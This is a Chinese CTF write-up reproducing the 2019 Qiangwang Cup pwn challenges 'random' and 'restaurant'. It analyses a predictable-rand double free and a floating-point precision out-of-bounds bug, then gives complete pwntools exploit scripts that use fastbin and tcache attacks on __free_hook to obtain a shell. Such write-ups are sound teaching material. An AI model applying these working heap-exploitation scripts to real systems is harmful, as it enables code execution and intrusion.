2019-強網杯pwn復現--多數題目
前面兩篇分析qwb題目的文章不是用看雪專欄markdown編輯的,今天剛剛發現看雪支援markdown,這樣就不用每次我自己再重新修改格式,複製貼上就ok了,前面的兩篇文章也懶的重新調格式,就重新發了一篇專欄。
前面兩篇地址2019-強網杯pwn-babycpp&&trywrite
寫在前面:
REFERENCE:
http://blog.eonew.cn/archives/category/ctf/pwn
2019-qwb-random
題目邏輯&&漏洞點
首先將程式的功能放在一個陣列裡面。
table.func1 = (__int64)add; table.func2 = (__int64)update; table.func3 = (__int64)delete; table.func4 = (__int64)view;
然後下面利用連結串列的方式將函式串聯在一起。
其中在連結串列中插入節點的方式如下,bss段中儲存著最新插入的節點,而且每次插入的節點都是在連結串列頭插入到:
v2 = (node *)calloc(1uLL, 0x18uLL); *(_QWORD *)&v2->type = type; v2->func = func; v2->pre_node = lastest_node; v3 = v2; result = &lastest_node; lastest_node = v3; 對應的結構體: 00000000 node struc ; (sizeof=0x14, mappedto_7) 00000000 pre_node dq ? 00000008 func dq ? 00000010 type dd ? 00000014 node ends
然後刪除節點函式如下:
result = (_QWORD *)lastest_node; if ( lastest_node ) { ptr = (node *)lastest_node; v4 = (node *)lastest_node; do { while ( *(_QWORD *)&ptr->type != type ) //便利查詢符合條件的node { v4 = ptr; result = (_QWORD *)ptr->pre_node; ptr = (node *)ptr->pre_node; if ( !ptr ) return result; } v5 = (void (__fastcall *)(node *))ptr->func; if ( ptr == (node *)lastest_node ) //解鏈操作 { lastest_node = ptr->pre_node; v4 = (node *)lastest_node; v3 = (node *)lastest_node; } else { v4->pre_node = ptr->pre_node; v3 = (node *)ptr->pre_node; } free(ptr); //先釋放當前的node v5(ptr); //然後呼叫當前node中對應的函式 result = &v3->pre_node; ptr = v3; } while ( v3 );
現在看在新增刪除節點都沒有問題,但是在add函式中也會有“多餘的”新增節點的操作,如下
if ( v0 == 89 ) { for ( i = 0; i <= 14; ++i ) { size = (void *)list[2 * i]; if ( !size ) { puts("Input the size of the note:"); LODWORD(size) = get_int(); if ( (signed int)size > 0 && (signed int)size <= 63 ) { list[2 * i + 1] = (signed int)size; list[2 * i] = malloc((signed int)size + 1); puts("Input the content of the note:"); read_n((_BYTE *)list[2 * i], list[2 * i + 1]); puts("success!"); puts("Do you want to add another note, tomorrow?(Y/N)"); v2 = getchar(); LODWORD(size) = getchar(); if ( v2 == 89 ) LODWORD(size) = (unsigned __int64)put_node((__int64)add, 2); //多餘的新增節點的操作,這個部分會導致解鏈過程當中發生異常。 } return (signed int)size; } } }
測試漏洞
裡面有一個別扭的地方,就是利用rand()函式來決定進行什麼功能。
v4 = rand(); put_node(*(&table.func1 + v4 % 4), 2);
好像是隨機的,沒法控制?
我們知道計算機模擬的隨機數並不是真正的隨機,所有產生的隨機數都是偽隨機數,像這種隨機數就可以預測。只要srand設定的seed種子一樣,那麼rand函式產生的隨機數就是一樣的。
我們查記憶體,看到srand函式的seed值為0.
自己寫一個c檔案預測一下。
#include <stdlib.h> #include <stdio.h> int main() { srand(0); char * buf[4]; buf[0] = "add"; buf[1] = "update"; buf[2] = "delete"; buf[3] = "view"; for(int i=0;i<50;i++) { int num = rand()%4; printf("%d : %s\n",num,buf[num]); } return 0; }
根據預測可以看到每個函式的呼叫順序。
上面說過,在刪除節點的過程中如果add功能中選擇增添新的節點,那麼會導致異常,進而導致double free。
解鏈過程如下: 設定了一個pre變數,一個cur變數,常規解鏈操作。 do { while ( *(_QWORD *)&ptr->type != type ) { pre = ptr; result = (_QWORD *)ptr->pre_node; ptr = (node *)ptr->pre_node; if ( !ptr ) return result; } v5 = (void (__fastcall *)(node *))ptr->func; if ( ptr == (node *)lastest_node ) { lastest_node = ptr->pre_node; pre = (node *)lastest_node; cur = (node *)lastest_node; } else { pre->pre_node = ptr->pre_node; cur = (node *)ptr->pre_node; } free(ptr); v5(ptr); //執行功能函式 result = &cur->pre_node; ptr = cur; } while ( cur );
但如果我們在解鏈過程中執行功能函式的話,會導致異常,具體如下:
剛開始(左邊的是鏈頭),下面都是到while迴圈判斷這一句的狀態,假設當前滿足條件的是A: #第一次 A-->B-->C-->D-->E header = A pre = cur = A #第二次: 假設在A解鏈過程中呼叫add函式增添了新的節點M M-->B-->C-->D-->E header = M pre = cur = B #第三次 M-->B C-->D-->E header = A cur = pre = C 可以看到現在B已經被解鏈了,但是表頭M仍然在pre_node段記錄著B的資訊,其仍然存在鏈上,後面會造成double free。(B被釋放到fastbin裡面可能存在指向fastbin中的chunk,但是後面也會申請出來,emm表達不是很清楚,自己理解吧。)
現在我們知道了漏洞點,後面就是利用double free了,但是libc2.23下對於0x21大小的chunk double free好像不太好用,出題人故意在bss端允許放置0x21的可能,因此可以fastbin attack控制bss段,後面就簡單了。
漏洞利用
思路
- double free
- fastbin attack控制bss端
- 任意地址讀寫get shell
exp
#https://github.com/matrix1001/welpwn from PwnContext import * try: from IPython import embed as ipy except ImportError: print ('IPython not installed.') if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'info' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './random' ctx.symbols = { 'lastest_node':0x203168, 'node':0x203180, } ctx.breakpoints = [0x11C9,0x184E]#menu:0x17B5 reduce:0x11C9 puts_node:0x183a #ctx.debug() def lg(s,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) def Y_N(flag = False): if flag == False: sla('(Y/N)','N') else: sla('(Y/N)','Y') def add(size,content,flag = False): Y_N(True) sla('size',size) sa('content',content) if flag == False : Y_N() else: Y_N(True) def delete(idx): Y_N(True) sla('index',idx) def view(idx): Y_N(True) sla('note:\n',idx) def update(idx,content): Y_N(True) sla('index',idx) sa('content',content) rs() sa('name','a'*8) ru('game, ') prog_base = uu64(ru('\n',drop = True)[-7:-1]) - 0xb90 lg('prog_base',prog_base) sl(35) #round 1 sla('(0~10)',8) add(0x21,'\n',True) #prepare for fastbin attack , used to be the fake_size. And prepare for double free for i in range(7): Y_N() #round 2 sla('(0~10)',7) for i in range(9): Y_N() #round 3 sla('(0~10)',2) fake_chunk = prog_base + 0x203180 add(0x8,p64(fake_chunk)) #node 1 fastbin attack for i in range(1): Y_N() #round 4 sla('(0~10)',3) add(0x21,'\n') # prepare for free fake_chunk for i in range(2): Y_N() #round 5 sla('(0~10)',8) for i in range(8): Y_N() #round 6 #get shell sla('(0~10)',10) payload = p64(prog_base+0x203080)+p64(0x18) add(0x17,payload+'\n')#index 3 for i in range(1): Y_N() view(1) libc_base = uu64(r(6)) - ctx.libc.sym['malloc'] lg('libc_base',libc_base) free_hook = libc_base + ctx.libc.sym['__free_hook'] one = libc_base + 0x4526a update(3,p64(free_hook)+p64(0x10)+'\n') for i in range(3): Y_N() update(1,p64(one)+'\n') irt()
2019-qwb-restaurant
題目邏輯及漏洞
題目主要是有一個陣列越界,可以控制name的curent_size從而導致堆溢位。
要達成陣列越界還需要利用double型別浮點數在表示大數的情況下其精度會下降,不能精確表示小數。
簡單舉例:
double num = 1e16; num += 0.55 雖然num + 0.55,但是由於浮點數的編碼規則,其在表示這種大數情況下並不能將0.55這種精度的小數表達出來,因此最終加完之後的num仍然是1e16。
關於double 型別的浮點數精度損失分析詳見:記憶體中的資料儲存
漏洞利用
思路(libc 2.27)
- 利用double型別浮點數精度損失,以及陣列越界來修改name size;
- 進行堆溢位修改chunk size為0x421,然後free掉進入unsorted bin,從而洩露libc。(在偽造unsorted bin時,free chunk時要偽造next chunk size以及next next chunk size)
- tcache attack修改free_hook。(注意tcache在malloc過程中並不會檢查size是否正確)
exp
#https://github.com/matrix1001/welpwn from PwnContext import * try: from IPython import embed as ipy except ImportError: print ('IPython not installed.') if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'info' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) ctx.binary = './restaurant' ctx.custom_lib_dir = '/home/leo/glibc-all-in-one/libs/2.27-3ubuntu1_amd64' ctx.remote = ('172.16.9.21', 9006) ctx.debug_remote_libc = True ctx.symbols = { 'node':0x202360 } ctx.breakpoints = [0x1360]#printf:0xCF9 0xfa2 : set_count def lg(s,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) def set_name(size,name): sla('(y/n)','y') sla('name: ',size) if size > 0x200: return sa('name: ',name) def order(idx,count,size,name='\n'): sla('ice',1) sla('want:',idx) sla('want:',count) sla('tips:',0.55) set_name(size,name) def pay(size,name='\n'): sla('ice',3) set_name(size,name) def request(name,price): sla('ice',4) sla('ame: ',name) sla('ice: ',price) rs() request('111',str(1e16)) request('222',-999) #modify the current_size order(5,1,0x18) order(5,0,0x48) order(5,0,0x58) order(5,0,0x201) order(5,0,0x201) order(5,0,0x18) payload = 'a'*0x10 + p64(0) + p64(0x421) #fake_chunk payload += 'a'*0x30 payload += p64(0)+p64(0x101) # modify the chunk_size payload = payload.ljust(0x430,'a') payload += (p64(0)+p64(0x21))*3 #bypass the free_check order(6,8,8,payload+'\n') #leak libc order(5,0,0x201) order(5,0,0x48) order(5,0,0x201)# free 0x421 order(5,0,0x28,'a'*8) ru('a'*8) libc_base = uu64(r(6)) - 0x3ec090 lg('libc_base',libc_base) #get shell free_hook = libc_base + ctx.libc.sym['__free_hook'] system = libc_base + ctx.libc.sym['system'] payload = 'a'*0x18 + p64(0x101) + p64(free_hook-8) order(5,0,0x68,payload+'\n') order(5,0,0x201) order(5,0,0x58) order(5,0,0x201) payload = '/bin/sh\0' + p64(system) order(5,0,0x58,payload+'\n') order(5,0,0x201) irt()
2019-qwb-one
iddm正在抽時間寫o(╥﹏╥)o
相關文章
- 2019-強網杯pwn復現--兩題2019-09-22
- 2019-東華杯&2019-360ctf__PWN題解2019-11-06
- 2024強網杯web題解2024-11-05Web
- [2024領航杯] Pwn方向題解 babyheap2024-10-14
- 網鼎杯 2024 玄武 pwn2 (kernel)2024-11-19
- XYCTF pwn部分題解 (部分題目詳解)2024-04-29
- 使用伺服器docker搭建Pwn題目2024-12-02伺服器Docker
- 2024強網杯-misc2024-11-17
- [強網杯]賭徒2021-06-17
- 【每週例題】藍橋杯 C++ 多數2024-04-09C++
- 2024 強網杯逆向 Writeups2024-11-03
- 第三屆“強網杯”倒數計時5天!2019-05-19
- 第三屆“強網杯”報名倒數計時!!!2019-05-14
- 藍橋杯-買不到的數目2024-05-07
- 2024春秋杯網路安全聯賽夏季賽-PWN-Writeup2024-07-09
- 藍橋杯題目編號12652024-03-21
- 題目 1841: [藍橋杯][2017年第八屆真題]發現環2020-11-13
- [強網杯 2019]隨便注2024-11-11
- 強網杯 2021 baby_diary2021-10-11
- 2021強網杯Reverse-LongTimeAgo2021-06-21Go
- 【藍橋杯】練習題目彙總2020-09-26
- [強網杯 2019]隨便注 12024-11-08
- 藍橋杯練習系統題目集2018-11-09
- 第三屆“強網杯”倒數計時最後一天!!2019-05-23
- 2024御網線上Pwn方向題解2024-11-01
- 2016年藍橋杯C/C++組省賽第一題--煤球數目2019-03-07C++
- 藍橋杯第五屆省賽題目及題解2020-10-02
- CTF_復現(部分) | _XGCTF_西瓜杯2024-07-08GC
- 【打醬油】2018強網杯個人小結2018-04-05
- nginx目錄穿越漏洞復現2019-07-24Nginx
- 埃森哲:2019-實現平等報告2019-03-10
- 藍橋杯真題:純質數2022-03-12
- 藍橋杯競賽題目:”機器人繁殖“解析及題解2019-05-02機器人
- 題目 1118: Tom數2020-10-10
- Flare-On 8th兩道題目復現(Challenge 5 & 7)2022-04-02
- 題目:2.兩數相加 解題思路及Java實現2020-10-28Java
- [零基礎學IoT Pwn] 復現Netgear WNAP320 RCE2022-07-01
- Web_BUUCTF_WriteUp | [強網杯 2019]隨便注2024-07-12Web